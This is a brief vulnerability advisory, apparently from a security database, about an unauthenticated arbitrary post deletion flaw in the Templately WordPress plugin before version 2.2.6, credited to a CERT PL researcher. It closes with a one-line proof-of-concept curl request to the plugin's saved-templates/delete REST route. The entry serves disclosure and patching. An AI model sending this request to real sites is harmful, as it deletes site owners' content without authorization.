Templately < 2.2.6 - Unauthenticated Arbitrary Post Deletion

2023-10-1600:00:00

Krzysztof Zając (CERT PL)

templately

unauthenticated

arbitrary

post deletion

elementor

plugin

vulnerability

exploit

7.8 High

AI Score

Confidence

High

0.001 Low

EPSS

Percentile

32.7%

JSON

Description The plugin does not properly authorize the saved-templates/delete REST API call, allowing unauthenticated users to delete arbitrary posts.

Ensure the Elementor plugin is installed so that the Elementor Template functionality is enabled.

curl -X POST https://example.com/?rest_route=/templately/v1/saved-templates/delete -d 'id=1'